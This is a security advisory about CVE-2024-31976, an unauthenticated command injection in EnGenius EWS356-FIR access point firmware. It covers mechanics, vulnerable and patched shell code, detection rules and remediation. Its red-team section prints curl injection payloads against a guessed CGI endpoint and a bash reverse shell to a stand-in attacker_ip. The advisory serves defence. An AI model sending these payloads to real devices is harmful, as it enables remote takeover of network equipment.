CVE-2024-31976

Executive Summary

CVE-2024-31976 is a critical, unauthenticated OS command injection vulnerability affecting the EnGenius EWS356-FIR wireless access point firmware version 1.1.30 and earlier. The flaw resides in the Controller connectivity parameter, allowing a remote attacker to execute arbitrary operating system commands on the device. With a CVSS base score of 9.8 (Critical), this vulnerability poses a severe risk to network integrity, confidentiality, and availability. No public proof-of-concept (PoC) or exploit code has been released as of this analysis, and no patch is currently available from the vendor. The vulnerability is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The attack vector is network-based, requires no authentication, and no user interaction, making it highly exploitable in exposed deployments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Attacker can modify system files and configurations.
• Availability (A): High (H) – Attacker can disrupt or disable the device.

Threat Level: Critical. The combination of remote exploitability, no authentication, and full system compromise makes this a top-priority vulnerability for any organization using the affected EnGenius devices.

Deep Dive & Mechanics

The vulnerability is an OS command injection flaw in the Controller connectivity parameter of the EnGenius EWS356-FIR web management interface. The device likely uses a web server (e.g., lighttpd or similar) to handle administrative requests. When a user configures the Controller connectivity settings (e.g., IP address, port, or URL), the input is not properly sanitized before being passed to a system shell command (e.g., ping, curl, or wget). An attacker can inject arbitrary commands by appending shell metacharacters such as ;, |, &&, or backticks to the parameter value.

For example, a crafted HTTP POST request to the vulnerable endpoint might look like:

POST /cgi-bin/admin/controller.cgi HTTP/1.1
Host: target_ip
Content-Type: application/x-www-form-urlencoded

controller_ip=192.168.1.1;id

If the application executes something like ping -c 1 $controller_ip, the injected ;id would cause the shell to execute id after the ping command, revealing the current user context.

The vulnerability is present in firmware version 1.1.30 and earlier. No patch has been released by EnGenius as of this writing. The device runs a Linux-based embedded OS, and successful exploitation grants an attacker a shell with root privileges (common for embedded devices).

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical vulnerable code snippet and its secure counterpart are provided for educational purposes.

Vulnerable Code (e.g., in a CGI script):

#!/bin/sh
# Vulnerable: Direct concatenation of user input into shell command
controller_ip=$(echo "$QUERY_STRING" | sed 's/.*controller_ip=\([^&]*\).*/\1/')
ping -c 1 $controller_ip

Patched Code (Secure):

#!/bin/sh
# Secure: Validate and sanitize input, avoid shell execution
controller_ip=$(echo "$QUERY_STRING" | sed 's/.*controller_ip=\([^&]*\).*/\1/')
# Validate IP address format
if echo "$controller_ip" | grep -qE '^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$'; then
    # Use a safe method to execute ping without shell interpretation
    /bin/ping -c 1 -- "$controller_ip"
else
    echo "Invalid IP address"
fi

The patched version validates the input against a strict IP address pattern and uses -- to prevent option injection. However, the most secure approach would be to avoid shell commands entirely and use a library function (e.g., in C or Python) to perform the network check.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: EnGenius EWS356-FIR with firmware 1.1.30 (or earlier)
• Attacker: Kali Linux or any Linux distribution with curl and netcat
• Network: Both machines on the same subnet (e.g., 192.168.1.0/24)

Exploitation Steps:

1. Identify the target: Use Shodan or Nmap to find exposed devices.

   nmap -p 80,443,8080 --script http-title 192.168.1.0/24
   

2. Craft the exploit payload: The vulnerable parameter is likely controller_ip or controller_url. Test with a simple command injection.

   curl -X POST "http://target_ip/cgi-bin/admin/controller.cgi" \
   --data "controller_ip=127.0.0.1;id"
   

3. Verify command execution: If successful, the response may contain the output of the id command (e.g., uid=0(root) gid=0(root)).

4. Establish a reverse shell: Use a more complex payload to get a shell.

   # Attacker listener
   nc -lvnp 4444
   # Exploit payload
   curl -X POST "http://target_ip/cgi-bin/admin/controller.cgi" \
   --data "controller_ip=127.0.0.1;bash -i >& /dev/tcp/attacker_ip/4444 0>&1"
   

Note: Since no public exploit exists, this is a theoretical approach. Actual parameter names and endpoints may vary.

Blue Team

Detection and Response:

1. Monitor HTTP POST requests to /cgi-bin/admin/controller.cgi or similar endpoints for unusual parameters containing shell metacharacters (;, |, &&, `).
2. Check for outbound connections from the device to unexpected IP addresses on common ports (e.g., 4444, 8080).
3. Analyze device logs for unusual process execution (e.g., bash, sh, nc, python).
4. Use network segmentation to isolate management interfaces from untrusted networks.
5. Implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in the controller_ip parameter.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /cgi-bin/admin/controller.cgi with parameters containing ;, |, &&, or backticks.
  • Outbound connections from the device to unknown IP addresses on high ports (e.g., 4444, 5555).
  • Unusual DNS queries from the device (e.g., to attacker-controlled domains).

• Host IOCs:

  • Presence of unexpected processes: bash, sh, nc, python, perl.
  • Modified system files in /tmp or /var/run.
  • New cron jobs or startup scripts.
  • Unauthorized SSH keys in /root/.ssh/authorized_keys.

• Log IOCs:

  • Repeated failed login attempts followed by successful exploitation.
  • Log entries showing execution of commands like id, whoami, uname -a.

Detection Engineering

YARA Rule

rule CVE_2024_31976_EnGenius_Command_Injection {
    meta:
        description = "Detects exploit attempts for CVE-2024-31976 in HTTP traffic"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-31976"
    strings:
        $exploit1 = "controller_ip="
        $exploit2 = "controller_url="
        $shell_meta = /[;|&`$()]/
    condition:
        any of ($exploit*) and $shell_meta
}

Sigma Rule

title: CVE-2024-31976 EnGenius OS Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to EnGenius controller endpoint with shell metacharacters
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /cgi-bin/admin/controller.cgi
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in configuration (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-31976 EnGenius OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/admin/controller.cgi"; http_uri;
    pcre:"/(;|\||&&|`)/Pi";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-31976;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from untrusted networks (e.g., place them behind a firewall with strict ACLs).
2. Disable remote management if not absolutely necessary.
3. Monitor for suspicious activity using the provided detection rules.

Long-term Fixes:

1. Apply vendor patch when released (check EnGenius support portal regularly).
2. Upgrade firmware to a patched version as soon as it becomes available.
3. Implement network segmentation to ensure management interfaces are only accessible from trusted admin networks.
4. Use a Web Application Firewall (WAF) to filter malicious requests.
5. Conduct a security audit of all EnGenius devices in the environment.

Workaround (if patching is not possible):

• Manually remove or disable the vulnerable CGI script (/cgi-bin/admin/controller.cgi) if the feature is not used.
• Restrict access to the web interface using IP whitelisting.

Valters IT
Securing Your Digital Frontier